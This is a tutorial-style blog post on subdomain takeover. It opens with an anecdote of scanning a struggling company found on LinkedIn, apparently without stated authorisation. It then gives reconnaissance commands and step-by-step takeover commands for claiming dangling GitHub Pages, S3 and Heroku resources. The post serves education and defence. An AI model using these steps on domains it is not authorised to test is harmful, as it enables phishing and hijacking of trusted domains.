Subdomain Takeover: When Your Own Domain Becomes Your Enemy 🕵️♂️
A comprehensive guide to understanding, detecting, and preventing one of the web’s most overlooked vulnerabilities — Subdomain Takeover 🚨
When LinkedIn News Became our Goldmine 🚨
Picture this: It’s just another random day when I’m scrolling through LinkedIn and stumble upon a post about a company’s financial troubles — half of their online services were reportedly going offline due to unpaid dues. While most people felt sympathy for the employees, my “evil mind” (as I like to call it) immediately saw an opportunity.
“If their services are shutting down, what happens to their subdomains?”
That single thought led me and my friend — Kaif down a rabbit hole that perfectly demonstrates how business disruptions create cybersecurity vulnerabilities. Within minutes, we were running subdomain enumeration:
sudo subfinder -d target.com -o subfinder.txt && \
sudo httpx-toolkit -l subfinder.txt -o httpx.txt -cname -ip -title -sc && \
subjack -w subfinder.txt -t 100 -timeout 30 -ssl -c ~/Downloads/fingerprints.json -v
The result? We found gcdn.target.com
flagged as potentially vulnerable to S3 bucket takeover.
A quick dig command revealed the smoking gun:
Though we were not able to take over the subdomain this time, the presence of proper TXT records and correct configurations helped the domain owner secure it just in time.
We felt a little disappointed — but in a good way! After all, the ultimate goal is always security first, not exploitation.
What Exactly is a Subdomain Takeover? 🔍
A subdomain takeover occurs when an attacker gains control of a subdomain by claiming an external service that the subdomain was pointing to, but which has been abandoned or misconfigured.
A subdomain takeover occurs when a subdomain (like support.example.com
) points to an external service (e.g., GitHub Pages, AWS S3, Heroku) that has been deleted or is unclaimed.
Because the DNS record still exists but the service behind it does not, an attacker can claim the service and take control of the subdomain.
In simpler words: your company “forgot” to turn off a signpost pointing to an empty lot — and a hacker decided to build a trap there.
How Subdomain Takeovers Actually Take Place: A Step-by-Step Breakdown 🔧
Understanding the mechanics behind subdomain takeovers is crucial for both attackers and defenders. Let’s walk through the exact process of how these vulnerabilities unfold in the real world.
The Setup Phase: Creating the Vulnerability 🏗️
Step 1 — Legitimate Service Setup: A company sets up a subdomain pointing to an external service:
# Company creates DNS record
blog.company.com -> CNAME -> company.github.io
Step 2 — Service Configuration: The company configures their GitHub Pages, AWS S3 bucket, or other service:
# GitHub Pages setup
Repository: company/company.github.io
Custom domain: blog.company.com
Step 3: The Critical Mistake Time passes, and the company either:
- Deletes the GitHub repository
- Cancels the AWS S3 bucket
- Removes the Heroku app
- Stops paying for the service
But here’s the problem: They forget to remove the DNS record!
The Attack Phase: Exploiting the Dangling DNS 🎯
Step 1: Discovery
An attacker discovers the vulnerable subdomain through various tools described below in the blog. (Sub-finder, crt.sh, AssetFinder, etc)
Step 2: Verification
The attacker verifies the service is unclaimed:
# Check if GitHub Pages exists
curl -I https://company.github.io
# Returns: 404 Not Found
# Check DNS still points to service
dig CNAME blog.company.com
nslookup blog.company.com
# Still returns company.github.io
Step 3: Service Claiming Now comes the actual takeover:
For GitHub Pages:
# Attacker creates repository
git clone https://github.com/attacker/company.github.io
echo "<h1>Subdomain Taken Over!</h1>" > index.html
git add . && git commit -m "Takeover" && git push
# Configure custom domain in GitHub Pages settings
# Add blog.company.com as custom domain
For AWS S3:
# Create bucket with exact name
aws s3 mb s3://company-bucket-name
# Upload malicious content
echo "<h1>Subdomain Compromised</h1>" > index.html
aws s3 cp index.html s3://company-bucket-name/
aws s3 website s3://company-bucket-name --index-document index.html
For Heroku:
# Create new Heroku app with same name
heroku create company-app-name
# Deploy malicious content
git init && git add . && git commit -m "Takeover"
heroku git:remote -a company-app-name
git push heroku master
Why is it Dangerous? ⚔️
- 🟢 Phishing attacks using a trusted domain.
- 🟢 Brand and reputation damage.
- 🟢 Malware or malicious scripts hosting.
- 🟢 Hard to detect and monitor.
How Does It Happen? 🧩
- Subdomain points to external service (GitHub Pages, AWS, etc.).
- Service resource gets deleted or is unclaimed.
- DNS record remains active.
- Attacker claims the resource.
- Attacker now controls the subdomain.
Tools & Automation 🧰
- Subjack
- Subzy (Not much efficient)
- Nuclei (subdomain takeover templates)
- Subfinder + custom checks
Our Approach
Sometimes the best vulnerabilities aren’t found through traditional scanning — they’re discovered through intelligence gathering. Here’s the workflow that led to the discovery:
# Step 1: Comprehensive subdomain enumeration
sudo subfinder -d target.com -o subfinder.txt
# Step 2: HTTP probing with detailed information
sudo httpx-toolkit -l subfinder.txt -o httpx.txt -cname -ip -title -sc
# Step 3: Subdomain takeover detection
subjack -w subfinder.txt -t 100 -timeout 30 -ssl -c ~/Downloads/fingerprints.json -v
# Step 4: DNS investigation for suspicious results
dig CNAME suspicious-subdomain.target.com
# Step 5: Manual verification
curl -I suspicious-subdomain.target.com
The Reality of Subdomain Takeover Hunting:
# What the tools showed us
$ subjack -w subfinder.txt -t 100 -timeout 30 -ssl -c ~/Downloads/fingerprints.json -v
[S3 BUCKET] gcdn.target.com # Flagged as vulnerable
# What manual verification revealed
$ dig CNAME gcdn.target.com
;; No CNAME record found - looks promising!
# The reality check
$ dig TXT gcdn.target.com
;; TXT records preventing takeover found
The Harsh Truth: Automated tools can give false positives. Manual verification is essential, and even then, defensive measures might block your attempts.